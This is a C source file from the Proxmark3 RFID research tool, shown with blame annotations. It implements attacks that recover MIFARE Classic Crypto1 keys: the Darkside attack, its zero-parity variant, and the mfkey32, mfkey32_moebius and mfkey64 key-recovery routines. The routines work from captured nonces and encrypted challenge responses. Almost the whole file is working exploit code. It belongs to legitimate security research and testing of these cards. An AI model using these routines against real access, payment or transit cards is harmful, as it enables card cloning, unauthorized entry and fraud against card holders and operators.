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[proxmark3-svn] / client / nonce2key / nonce2key.c
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f89c7050
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1//-----------------------------------------------------------------------------
2// Merlok - June 2011
3// Roel - Dec 2009
4// Unknown author
5//
6// This code is licensed to you under the terms of the GNU GPL, version 2 or,
7// at your option, any later version. See the LICENSE.txt file for the text of
8// the license.
9//-----------------------------------------------------------------------------
10// MIFARE Darkside hack
11//-----------------------------------------------------------------------------
f89c7050 12#include "nonce2key.h"
b19bd5d6 13#include "mifarehost.h"
f89c7050 14#include "ui.h"
a0f33b66 15#include "proxmark3.h"
f89c7050 16
1c611bbd 17int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
0de8e387 18 struct Crypto1State *state;
a0f33b66 19 uint32_t i, pos, rr = 0, nr_diff;
0de8e387 20 byte_t bt, ks3x[8], par[8][8];
b19bd5d6 21
0de8e387 22 // Reset the last three significant bits of the reader nonce
23 nr &= 0xffffff1f;
f89c7050 24
cd91e41c 25 PrintAndLog("uid(%08x) nt(%08x) par(%016"llx") ks(%016"llx") nr(%08"llx")\n", uid, nt, par_info, ks_info, nr);
0de8e387 26
738eeccd 27 for ( pos = 0; pos < 8; pos++ ) {
0de8e387 28 ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
29 bt = (par_info >> (pos*8)) & 0xff;
738eeccd 30
31 for ( i = 0; i < 8; i++) {
0de8e387 32 par[7-pos][i] = (bt >> i) & 0x01;
33 }
34 }
f89c7050 35
cd91e41c 36 printf("+----+--------+---+-----+---------------+\n");
0de8e387 37 printf("|diff|{nr} |ks3|ks3^5|parity |\n");
38 printf("+----+--------+---+-----+---------------+\n");
738eeccd 39 for ( i = 0; i < 8; i++) {
0de8e387 40 nr_diff = nr | i << 5;
5fdf8672 41 printf("| %02x |%08x| %01x | %01x |", i << 5, nr_diff, ks3x[i], ks3x[i]^5);
42
a0f33b66 43 for (pos = 0; pos < 7; pos++) printf("%01x,", par[i][pos]);
0de8e387 44 printf("%01x|\n", par[i][7]);
45 }
46 printf("+----+--------+---+-----+---------------+\n");
f89c7050 47
5fdf8672 48 clock_t t1 = clock();
49
a0f33b66 50 state = lfsr_common_prefix(nr, rr, ks3x, par);
51 lfsr_rollback_word(state, uid^nt, 0);
52 crypto1_get_lfsr(state, key);
53 crypto1_destroy(state);
5fdf8672 54
55 t1 = clock() - t1;
56 if ( t1 > 0 ) PrintAndLog("Time in nonce2key: %.0f ticks \n", (float)t1);
a0f33b66 57 return 0;
f89c7050 58}
46cd801c 59
cd91e41c 60// call when PAR == 0, special attack?
61int nonce2key_ex(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t ks_info, uint64_t * key) {
62 struct Crypto1State *state;
63 uint32_t i, pos, key_count;
64 byte_t ks3x[8];
65
66 uint64_t key_recovered;
67 int64_t *state_s;
68 static uint32_t last_uid;
69 static int64_t *last_keylist;
70
71 if (last_uid != uid && last_keylist != NULL) {
72 free(last_keylist);
73 last_keylist = NULL;
74 }
75 last_uid = uid;
76
77 // Reset the last three significant bits of the reader nonce
78 nr &= 0xffffff1f;
79
80 PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08"llx")\n", uid, nt, ks_info, nr);
81
82 for (pos=0; pos<8; pos++) {
83 ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
84 }
85
86 PrintAndLog("parity is all zero,try special attack! just wait for few more seconds");
87
88 clock_t t1 = clock();
89
90 state = lfsr_common_prefix_ex(nr, ks3x);
91 state_s = (int64_t*)state;
92
93 //char filename[50] ;
94 //sprintf(filename, "nt_%08x_%d.txt", nt, nr);
95 //printf("name %s\n", filename);
96 //FILE* fp = fopen(filename,"w");
97 for (i = 0; (state) && ((state + i)->odd != -1); i++) {
98 lfsr_rollback_word(state+i, uid^nt, 0);
99 crypto1_get_lfsr(state + i, &key_recovered);
100 *(state_s + i) = key_recovered;
101 //fprintf(fp, "%012llx\n",key_recovered);
102 }
103 //fclose(fp);
104
105 if(!state)
106 return 1;
107
108 qsort(state_s, i, sizeof(*state_s), compar_int);
109 *(state_s + i) = -1;
110
111 //Create the intersection:
112 if ( last_keylist != NULL) {
113 int64_t *p1, *p2, *p3;
114 p1 = p3 = last_keylist;
115 p2 = state_s;
116 while ( *p1 != -1 && *p2 != -1 ) {
117 if (compar_int(p1, p2) == 0) {
118 printf("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx"\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
119 *p3++ = *p1++;
120 p2++;
121 }
122 else {
123 while (compar_int(p1, p2) == -1) ++p1;
124 while (compar_int(p1, p2) == 1) ++p2;
125 }
126 }
127 key_count = p3 - last_keylist;;
128 } else {
129 key_count = 0;
130 }
131
132 printf("key_count:%d\n", key_count);
133
134 // The list may still contain several key candidates. Test each of them with mfCheckKeys
135 uint8_t keyBlock[6];
136 uint64_t key64;
137 for (i = 0; i < key_count; i++) {
138 key64 = *(last_keylist + i);
139 num_to_bytes(key64, 6, keyBlock);
140 key64 = 0;
141 if (!mfCheckKeys(0, 0, TRUE, 1, keyBlock, &key64)) { //block 0,A,
142 *key = key64;
143 free(last_keylist);
144 last_keylist = NULL;
145 free(state);
146 return 0;
147 }
148 }
149
150 t1 = clock() - t1;
151 if ( t1 > 0 ) PrintAndLog("Time in nonce2key_special: %.0f ticks \n", (float)t1);
152
153 free(last_keylist);
154 last_keylist = state_s;
155 return 1;
156}
46cd801c 157
cd91e41c 158int tryMfk32(uint8_t *data, uint64_t *outputkey ){
46cd801c 159 struct Crypto1State *s,*t;
cd91e41c 160 uint64_t key; // recovered key
161 uint32_t uid = le32toh(data);
162 uint32_t nt = le32toh(data+4); // tag challenge
163 uint32_t nr0_enc = le32toh(data+8); // first encrypted reader challenge
164 uint32_t ar0_enc = le32toh(data+12); // first encrypted reader response
165 //+16 uid2
166 //+20 nt2
167 uint32_t nr1_enc = le32toh(data+24); // second encrypted reader challenge
168 uint32_t ar1_enc = le32toh(data+28); // second encrypted reader response
46cd801c 169 bool isSuccess = FALSE;
170 int counter = 0;
46cd801c 171
cd91e41c 172 PrintAndLog("Enter mfkey32");
173 clock_t t1 = clock();
46cd801c 174 s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
175
176 for(t = s; t->odd | t->even; ++t) {
177 lfsr_rollback_word(t, 0, 0);
178 lfsr_rollback_word(t, nr0_enc, 1);
179 lfsr_rollback_word(t, uid ^ nt, 0);
180 crypto1_get_lfsr(t, &key);
181 crypto1_word(t, uid ^ nt, 0);
182 crypto1_word(t, nr1_enc, 1);
183 if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
738eeccd 184 PrintAndLog("Found Key: [%012"llx"]", key);
46cd801c 185 isSuccess = TRUE;
186 ++counter;
cd91e41c 187 if (counter==100)
46cd801c 188 break;
189 }
190 }
cd91e41c 191 t1 = clock() - t1;
192 if ( t1 > 0 ) PrintAndLog("Time in mf32key: %.0f ticks \n", (float)t1);
193 *outputkey = ( isSuccess ) ? key : 0;
194 crypto1_destroy(s);
46cd801c 195 return isSuccess;
196}
197
cd91e41c 198int tryMfk32_moebius(uint8_t *data, uint64_t *outputkey ){
738eeccd 199 struct Crypto1State *s, *t;
cd91e41c 200 uint64_t key = 0; // recovered key
201 uint32_t uid = le32toh(data);
202 uint32_t nt0 = le32toh(data+4); // first tag challenge (nonce)
203 uint32_t nr0_enc = le32toh(data+8); // first encrypted reader challenge
204 uint32_t ar0_enc = le32toh(data+12); // first encrypted reader response
205 //uint32_t uid1 = le32toh(data+16);
206 uint32_t nt1 = le32toh(data+20); // second tag challenge (nonce)
207 uint32_t nr1_enc = le32toh(data+24); // second encrypted reader challenge
208 uint32_t ar1_enc = le32toh(data+28); // second encrypted reader response
d8af608f 209 bool isSuccess = FALSE;
210 int counter = 0;
211
cd91e41c 212 PrintAndLog("Enter mfkey32_moebius");
213 clock_t t1 = clock();
d8af608f 214
215 s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
216
217 for(t = s; t->odd | t->even; ++t) {
218 lfsr_rollback_word(t, 0, 0);
219 lfsr_rollback_word(t, nr0_enc, 1);
220 lfsr_rollback_word(t, uid ^ nt0, 0);
221 crypto1_get_lfsr(t, &key);
222
223 crypto1_word(t, uid ^ nt1, 0);
224 crypto1_word(t, nr1_enc, 1);
225 if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
226 PrintAndLog("Found Key: [%012"llx"]",key);
227 isSuccess = TRUE;
228 ++counter;
229 if (counter==20)
230 break;
231 }
232 }
cd91e41c 233 t1 = clock() - t1;
234 if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks \n", (float)t1);
235 *outputkey = ( isSuccess ) ? key : 0;
236 crypto1_destroy(s);
d8af608f 237 return isSuccess;
238}
239
cd91e41c 240int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
241 uint32_t uid = le32toh(data);
242 uint32_t nt = le32toh(data+4); // tag challenge
243 uint32_t nr_enc = le32toh(data+8); // encrypted reader challenge
244 uint32_t ar_enc = le32toh(data+12); // encrypted reader response
245 uint32_t at_enc = le32toh(data+16); // encrypted tag response
246 return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
247}
46cd801c 248
cd91e41c 249int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
250 uint64_t key = 0; // recovered key
251 uint32_t ks2; // keystream used to encrypt reader response
252 uint32_t ks3; // keystream used to encrypt tag response
46cd801c 253 struct Crypto1State *revstate;
46cd801c 254
cd91e41c 255 PrintAndLog("Enter mfkey64");
256 clock_t t1 = clock();
46cd801c 257
46cd801c 258 // Extract the keystream from the messages
259 ks2 = ar_enc ^ prng_successor(nt, 64);
260 ks3 = at_enc ^ prng_successor(nt, 96);
46cd801c 261 revstate = lfsr_recovery64(ks2, ks3);
262 lfsr_rollback_word(revstate, 0, 0);
263 lfsr_rollback_word(revstate, 0, 0);
264 lfsr_rollback_word(revstate, nr_enc, 1);
265 lfsr_rollback_word(revstate, uid ^ nt, 0);
266 crypto1_get_lfsr(revstate, &key);
cd91e41c 267 PrintAndLog("Found Key: [%012"llx"]", key);
46cd801c 268 crypto1_destroy(revstate);
cd91e41c 269 *outputkey = key;
270
271 t1 = clock() - t1;
272 if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks \n", (float)t1);
46cd801c 273 return 0;
5fdf8672 274}
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